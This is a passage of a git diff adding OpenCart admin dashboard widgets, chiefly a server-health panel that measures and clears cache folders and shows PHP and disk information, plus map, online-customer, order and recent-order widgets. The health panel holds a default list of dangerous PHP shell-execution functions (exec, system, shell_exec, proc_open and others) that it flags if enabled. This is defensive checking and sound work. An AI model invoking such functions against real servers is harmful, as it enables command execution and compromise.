+
+ $data['action'] = $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ foreach ($folders as $key => $folder) {
+
+ $data['folders'][$key]['name'] = $this->language->get('text_dir_' . $key);
+ $data['folders'][$key]['key'] = $key;
+
+ if (isset($this->request->post["dashboard_domovoy_cron"])) {
+ $cron = $this->request->post["dashboard_domovoy_cron"];
+ } elseif ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ } else {
+ $data['folders'][$key]['cron']['time'] = 30;
+ $data['folders'][$key]['cron']['size'] = 100;
+ }
+
+ if (isset($cron)) {
+ $data['folders'][$key]['cron']['status'] = $cron[$key]['status'];
+ $data['folders'][$key]['cron']['size'] = $cron[$key]['size'];
+ $data['folders'][$key]['cron']['time'] = $cron[$key]['time'];
+ }
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_danger_funtions'])) {
+ $data['dashboard_domovoy_danger_funtions'] = $this->request->post['dashboard_domovoy_danger_funtions'];
+ } elseif ($this->config->get('dashboard_domovoy_danger_funtions')) {
+ $data['dashboard_domovoy_danger_funtions'] = $this->config->get('dashboard_domovoy_danger_funtions');
+ } else {
+ $data['dashboard_domovoy_danger_funtions'] = "exec\r\npassthru\r\nini_get\r\nini_get_all\r\nparse_ini_file\r\nphp_uname\r\nsystem\r\nshell_exec\r\nshow_source\r\npcntl_exec\r\npcntl_exec\r\nexpect_popen\r\nproc_open\r\npopen";
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_warning_funtions'])) {
+ $data['dashboard_domovoy_warning_funtions'] = $this->request->post['dashboard_domovoy_warning_funtions'];
+ } elseif ($this->config->get('dashboard_domovoy_warning_funtions')) {
+ $data['dashboard_domovoy_warning_funtions'] = $this->config->get('dashboard_domovoy_warning_funtions');
+ } else {
+ $data['dashboard_domovoy_warning_funtions'] = "diskfreespace\r\ndisk_total_space\r\ndisk_total_space\r\nfileperms\r\nfopen\r\nphpversion\r\nopendir\r\nposix_getpwuid\r\nposix_uname";
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_width'])) {
+ $data['dashboard_domovoy_width'] = $this->request->post['dashboard_domovoy_width'];
+ } else {
+ $data['dashboard_domovoy_width'] = $this->config->get('dashboard_domovoy_width');
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_disk_free_space'])) {
+ $data['dashboard_domovoy_disk_free_space'] = $this->request->post['dashboard_domovoy_disk_free_space'];
+ } elseif($this->config->get('dashboard_domovoy_disk_free_space')) {
+ $data['dashboard_domovoy_disk_free_space'] = $this->config->get('dashboard_domovoy_disk_free_space');
+ } else {
+ $data['dashboard_domovoy_disk_free_space'] = 500;
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_free_space_status'])) {
+ $data['dashboard_domovoy_free_space_status'] = $this->request->post['dashboard_domovoy_free_space_status'];
+ } else {
+ $data['dashboard_domovoy_free_space_status'] = $this->config->get('dashboard_domovoy_free_space_status');
+ }
+
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_domovoy_status'])) {
+ $data['dashboard_domovoy_status'] = $this->request->post['dashboard_domovoy_status'];
+ } else {
+ $data['dashboard_domovoy_status'] = $this->config->get('dashboard_domovoy_status');
+ }
+
+
+ if (isset($this->request->post['dashboard_domovoy_sort_order'])) {
+ $data['dashboard_domovoy_sort_order'] = $this->request->post['dashboard_domovoy_sort_order'];
+ } else {
+ $data['dashboard_domovoy_sort_order'] = $this->config->get('dashboard_domovoy_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/domovoy_form', $data));
+ }
+
+ protected function validate()
+ {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard()
+ {
+ $this->load->language('common/developer');
+ $this->load->language('extension/dashboard/domovoy');
+
+ $this->document->addStyle('view/stylesheet/fork-awesome.css');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['developer_theme'] = $this->config->get('developer_theme');
+
+ $eval = false;
+
+ $eval = '$eval = true;';
+
+ eval($eval);
+
+ if ($eval === true) {
+ $data['eval'] = true;
+ } else {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('developer', array('developer_theme' => 1), 0);
+
+ $data['eval'] = false;
+ }
+
+ $data['activities'] = array();
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ $data['setting'] = $this->url->link('extension/dashboard/domovoy', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['folders'] = array();
+
+ foreach ($folders as $key => $folder) {
+ $data['folders'][$key]['name'] = $this->language->get('text_dir_' . $key);
+ $data['folders'][$key]['key'] = $key;
+
+ if ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ $folder_size = $cron[$key]['size'] * pow(1024, 2);
+ } else {
+ $folder_size = 0;
+ }
+
+ // Calc Cron
+
+ $cron_time = $cron[$key]['time'] * 60;
+
+ $cache = $this->config->get('domovoy_folders_' . $key);
+
+ if ($cache) {
+
+ $time = $this->date_diff(date('Y-m-d H:i'), $cache['date']);
+ if ($cron[$key]['status'] && $time > $cron_time) {
+ $this->calc($key);
+ }
+
+ $data['folders'][$key]['size'] = sprintf($this->language->get('text_folder_size'), $cache['unit']['size'] . " " . $cache['unit']['unit']);
+ if ($cache['size'] > $folder_size && $folder_size != 0) {
+ $data['folders'][$key]['warning_size'] = sprintf($this->language->get('text_warning_size'), $cron[$key]['size']);
+ } else {
+ $data['folders'][$key]['warning_size'] = false;
+ }
+ $data['folders'][$key]['files'] = sprintf($this->language->get('text_folder_files'), $cache['files']) . " | " . $cache['date'];
+ } else {
+ $data['folders'][$key]['size'] = $this->language->get('text_check');
+ }
+ }
+
+ $data['phpversion'] = phpversion();
+
+ $reader = function & ($object, $property) {
+ $value = &Closure::bind(function & () use ($property) {
+ return $this->$property;
+ }, $object, $object)->__invoke();
+ return $value;
+ };
+
+ $result = &$reader($this->db, 'adaptor');
+ $result = &$reader($result, 'connection');
+
+ $data['database_version'] = $result->server_info;
+
+
+ if (function_exists('ioncube_loader_version')) {
+ $data['ioncube_version'] = ioncube_loader_version();
+ }
+
+ if (function_exists('disk_free_space') && $this->config->get('dashboard_domovoy_free_space_status')) {
+ $disk_space = disk_free_space("/");
+ $data['disk_free_space'] = $this->format_size($disk_space);
+ $space_limit = $this->config->get("dashboard_domovoy_disk_free_space");
+ $folder_size = $space_limit * pow(1024, 2);
+ if ($disk_space < $folder_size) {
+ $data['disk_free_space_warning'] = sprintf($this->language->get('text_warning_free_space'), $space_limit);
+ }
+ }
+
+ $danger_funtions = explode("\r\n", $this->config->get('dashboard_domovoy_danger_funtions'));
+ if (!empty($danger_funtions)) {
+ $data['danger_funtions'] = $this->checkFunc($danger_funtions);
+ } else {
+ $data['danger_funtions'] = array();
+ }
+
+ $warning_funtions = explode("\r\n", $this->config->get('dashboard_domovoy_warning_funtions'));
+ if (!empty($warning_funtions)) {
+ $data['warning_funtions'] = $this->checkFunc($warning_funtions);
+ } else {
+ $data['warning_funtions'] = array();
+ }
+
+ return $this->load->view('extension/dashboard/domovoy_info', $data);
+ }
+
+ public function clear($dir = false)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ if (isset($this->request->get['dir']) or $dir) {
+ if ($dir) {
+ $key = $dir;
+ } else {
+ $key = $this->request->get['dir'];
+ }
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs/*'), 'cache' => array('dir' => DIR_CACHE . 'cache.*'), 'imagescache' => array('dir' => DIR_IMAGE . 'cache/*'));
+
+ $files = glob($folders[$key]['dir']);
+ if (!empty($files)) {
+ foreach ($files as $file) {
+ $this->deldir($file);
+ }
+ }
+ $json['success'] = sprintf($this->language->get('text_cache'), $this->language->get('text_clearfolder'));
+ } else {
+ $json['error'] = $this->language->get('error_folder');
+ }
+ }
+
+ if (!$dir) {
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ }
+
+ public function calc($dir = false)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+ $this->load->model('setting/setting');
+
+ if (isset($this->request->get['dir']) or $dir) {
+
+ $folders = array('logs' => array('dir' => DIR_STORAGE . 'logs'), 'cache' => array('dir' => DIR_CACHE), 'imagescache' => array('dir' => DIR_IMAGE . 'cache'));
+
+ if ($dir) {
+ $key = $dir;
+ } else {
+ $key = $this->request->get['dir'];
+ }
+
+
+ $folder = array();
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/domovoy')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $folder['size'] = $this->getFilesSize($folders[$key]['dir']);
+ $folder['unit'] = $this->format_size($folder['size']);
+ $folder['files'] = count(scandir($folders[$key]['dir'])) - 2;
+ $folder['date'] = date("Y-m-d H:i:s");
+
+ $value = $this->model_setting_setting->getSettingValue('domovoy_folders_' . $key);
+ if ($value) {
+ $this->model_setting_setting->editSettingValue('domovoy', 'domovoy_folders_' . $key, $folder);
+ } else {
+ $settings = $this->model_setting_setting->getSetting('domovoy');
+ $settings['domovoy_folders_' . $key] = $folder;
+ $this->model_setting_setting->editSetting('domovoy', $settings);
+ }
+
+ if ($this->config->get("dashboard_domovoy_cron")) {
+ $cron = $this->config->get("dashboard_domovoy_cron");
+ $folder_size = $cron[$key]['size'] * pow(1024, 2);
+ } else {
+ $folder_size = 0;
+ }
+
+ if ($folder['size'] > $folder_size && $folder_size != 0) {
+ $warning_size = sprintf($this->language->get('text_warning_size'), $cron[$key]['size']);
+ } else {
+ $warning_size = $this->language->get('text_normal');
+ }
+
+ $json['success'] = sprintf($this->language->get('text_folder_size'), $folder['unit']['size'] . " " . $folder['unit']['unit']) . sprintf($this->language->get('text_folder_files'), $folder['files']) . " | " . $warning_size;
+ }
+ } else {
+ $json['error'] = $this->language->get('error_folder');
+ }
+
+ if (!$dir) {
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+ }
+
+ public function phpinfo()
+ {
+
+ ob_start();
+ phpinfo();
+ $data['phpinfo'] = ob_get_contents();
+ ob_end_clean();
+
+ $data['phpinfo'] = preg_replace('@@si', '', $data['phpinfo']);
+
+ $this->response->setOutput($this->load->view('extension/dashboard/phpinfo', $data));
+ }
+
+ private function getFilesSize($path)
+ {
+ $fileSize = 0;
+ $dir = scandir($path);
+
+ foreach ($dir as $file) {
+ if (($file != '.') && ($file != '..'))
+ if (is_dir($path . '/' . $file))
+ $fileSize += $this->getFilesSize($path . '/' . $file);
+ else
+ $fileSize += filesize($path . '/' . $file);
+ }
+
+ return $fileSize;
+ }
+
+ private function format_size($size)
+ {
+ $this->load->language('extension/dashboard/domovoy');
+ $metrics[0] = $this->language->get('text_metrics_bit');
+ $metrics[1] = $this->language->get('text_metrics_kbit');
+ $metrics[2] = $this->language->get('text_metrics_mbit');
+ $metrics[3] = $this->language->get('text_metrics_gbit');
+ $metrics[4] = $this->language->get('text_metrics_tbit');
+ $metric = 0;
+
+ $ret = array();
+
+ while (floor($size / 1024) > 0) {
+ ++$metric;
+ $size /= 1024;
+ }
+ $ret['size'] = round($size, 1);
+ $ret['unit'] = isset($metrics[$metric]) ? $metrics[$metric] : '??';
+ return $ret;
+ }
+
+ private function checkFunc($functions)
+ {
+ $result = array();
+ foreach ($functions as $function) {
+ if (function_exists($function)) {
+ $result[] = $function;
+ }
+ }
+
+ $result = implode(", ", $result);
+ return $result;
+ }
+
+ private function deldir($dirname)
+ {
+ if (file_exists($dirname)) {
+ if (is_dir($dirname)) {
+ $dir = opendir($dirname);
+ while (($filename = readdir($dir)) !== false) {
+ if ($filename != "." && $filename != "..") {
+ $file = $dirname . "/" . $filename;
+ $this->deldir($file);
+ }
+ }
+ closedir($dir);
+ rmdir($dirname);
+ } else {
+ @unlink($dirname);
+ }
+ }
+ }
+
+ private function date_diff($date1, $date2)
+ {
+ $diff = strtotime($date2) - strtotime($date1);
+ return abs($diff);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/map.php b/public/admin/controller/extension/dashboard/map.php
new file mode 100644
index 0000000..0e19331
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/map.php
@@ -0,0 +1,111 @@
+load->language('extension/dashboard/map');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_map', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/map', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/map', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_map_width'])) {
+ $data['dashboard_map_width'] = $this->request->post['dashboard_map_width'];
+ } else {
+ $data['dashboard_map_width'] = $this->config->get('dashboard_map_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_map_status'])) {
+ $data['dashboard_map_status'] = $this->request->post['dashboard_map_status'];
+ } else {
+ $data['dashboard_map_status'] = $this->config->get('dashboard_map_status');
+ }
+
+ if (isset($this->request->post['dashboard_map_sort_order'])) {
+ $data['dashboard_map_sort_order'] = $this->request->post['dashboard_map_sort_order'];
+ } else {
+ $data['dashboard_map_sort_order'] = $this->config->get('dashboard_map_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/map_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/map')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/map');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ return $this->load->view('extension/dashboard/map_info', $data);
+ }
+
+ public function map() {
+ $json = array();
+
+ $this->load->model('extension/dashboard/map');
+
+ $results = $this->model_extension_dashboard_map->getTotalOrdersByCountry();
+
+ foreach ($results as $result) {
+ $json[strtolower($result['iso_code_2'])] = array(
+ 'total' => $result['total'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency'))
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/online.php b/public/admin/controller/extension/dashboard/online.php
new file mode 100644
index 0000000..4bb1ff7
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/online.php
@@ -0,0 +1,113 @@
+load->language('extension/dashboard/online');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_online', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/online', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/online', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_online_width'])) {
+ $data['dashboard_online_width'] = $this->request->post['dashboard_online_width'];
+ } else {
+ $data['dashboard_online_width'] = $this->config->get('dashboard_online_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_online_status'])) {
+ $data['dashboard_online_status'] = $this->request->post['dashboard_online_status'];
+ } else {
+ $data['dashboard_online_status'] = $this->config->get('dashboard_online_status');
+ }
+
+ if (isset($this->request->post['dashboard_online_sort_order'])) {
+ $data['dashboard_online_sort_order'] = $this->request->post['dashboard_online_sort_order'];
+ } else {
+ $data['dashboard_online_sort_order'] = $this->config->get('dashboard_online_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/online_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/online')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/online');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('extension/dashboard/online');
+
+ // Customers Online
+ $online_total = $this->model_extension_dashboard_online->getTotalOnline();
+
+ if ($online_total > 1000000000000) {
+ $data['total'] = round($online_total / 1000000000000, 1) . 'T';
+ } elseif ($online_total > 1000000000) {
+ $data['total'] = round($online_total / 1000000000, 1) . 'B';
+ } elseif ($online_total > 1000000) {
+ $data['total'] = round($online_total / 1000000, 1) . 'M';
+ } elseif ($online_total > 1000) {
+ $data['total'] = round($online_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $online_total;
+ }
+
+ $data['online'] = $this->url->link('report/online', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/online_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/order.php b/public/admin/controller/extension/dashboard/order.php
new file mode 100644
index 0000000..3383fe3
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/order.php
@@ -0,0 +1,124 @@
+load->language('extension/dashboard/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_order_width'])) {
+ $data['dashboard_order_width'] = $this->request->post['dashboard_order_width'];
+ } else {
+ $data['dashboard_order_width'] = $this->config->get('dashboard_order_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_order_status'])) {
+ $data['dashboard_order_status'] = $this->request->post['dashboard_order_status'];
+ } else {
+ $data['dashboard_order_status'] = $this->config->get('dashboard_order_status');
+ }
+
+ if (isset($this->request->post['dashboard_order_sort_order'])) {
+ $data['dashboard_order_sort_order'] = $this->request->post['dashboard_order_sort_order'];
+ } else {
+ $data['dashboard_order_sort_order'] = $this->config->get('dashboard_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/order');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Total Orders
+ $this->load->model('sale/order');
+
+ $today = $this->model_sale_order->getTotalOrders(array('filter_date_added' => date('Y-m-d', strtotime('-1 day'))));
+
+ $yesterday = $this->model_sale_order->getTotalOrders(array('filter_date_added' => date('Y-m-d', strtotime('-2 day'))));
+
+ $difference = $today - $yesterday;
+
+ if ($difference && $today) {
+ $data['percentage'] = round(($difference / $today) * 100);
+ } else {
+ $data['percentage'] = 0;
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrders();
+
+ if ($order_total > 1000000000000) {
+ $data['total'] = round($order_total / 1000000000000, 1) . 'T';
+ } elseif ($order_total > 1000000000) {
+ $data['total'] = round($order_total / 1000000000, 1) . 'B';
+ } elseif ($order_total > 1000000) {
+ $data['total'] = round($order_total / 1000000, 1) . 'M';
+ } elseif ($order_total > 1000) {
+ $data['total'] = round($order_total / 1000, 1) . 'K';
+ } else {
+ $data['total'] = $order_total;
+ }
+
+ $data['order'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'], true);
+
+ return $this->load->view('extension/dashboard/order_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/recent.php b/public/admin/controller/extension/dashboard/recent.php
new file mode 100644
index 0000000..45063c7
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/recent.php
@@ -0,0 +1,118 @@
+load->language('extension/dashboard/recent');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_recent', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/recent', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/recent', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_recent_width'])) {
+ $data['dashboard_recent_width'] = $this->request->post['dashboard_recent_width'];
+ } else {
+ $data['dashboard_recent_width'] = $this->config->get('dashboard_recent_width');
+ }
+
+ $data['columns'] = array();
+
+ for ($i = 3; $i <= 12; $i++) {
+ $data['columns'][] = $i;
+ }
+
+ if (isset($this->request->post['dashboard_recent_status'])) {
+ $data['dashboard_recent_status'] = $this->request->post['dashboard_recent_status'];
+ } else {
+ $data['dashboard_recent_status'] = $this->config->get('dashboard_recent_status');
+ }
+
+ if (isset($this->request->post['dashboard_recent_sort_order'])) {
+ $data['dashboard_recent_sort_order'] = $this->request->post['dashboard_recent_sort_order'];
+ } else {
+ $data['dashboard_recent_sort_order'] = $this->config->get('dashboard_recent_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/dashboard/recent_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/dashboard/recent')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function dashboard() {
+ $this->load->language('extension/dashboard/recent');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ // Last 5 Orders
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'sort' => 'o.date_added',
+ 'order' => 'DESC',
+ 'start' => 0,
+ 'limit' => 5
+ );
+
+ $this->load->model('sale/order');
+
+ $results = $this->model_sale_order->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'status' => $result['order_status'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'total' => $this->currency->format($result['total'], $result['currency_code'], $result['currency_value']),
+ 'view' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'], true),
+ );
+ }
+
+ return $this->load->view('extension/dashboard/recent_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/dashboard/sale.php b/public/admin/controller/extension/dashboard/sale.php
new file mode 100644
index 0000000..887079c
--- /dev/null
+++ b/public/admin/controller/extension/dashboard/sale.php
@@ -0,0 +1,123 @@
+load->language('extension/dashboard/sale');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('dashboard_sale', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/dashboard/sale', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/dashboard/sale', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=dashboard', true);
+
+ if (isset($this->request->post['dashboard_sale_width'])) {
+ $data['dashboard_sale_width'] = $this->request->post['dashboard_sale_width'];
+ } else {
+ $data['dashboard_sale_width'] = $this->config->get('dashboard_sale_width');
+ }
+
+ $data['columns'] = array();
+
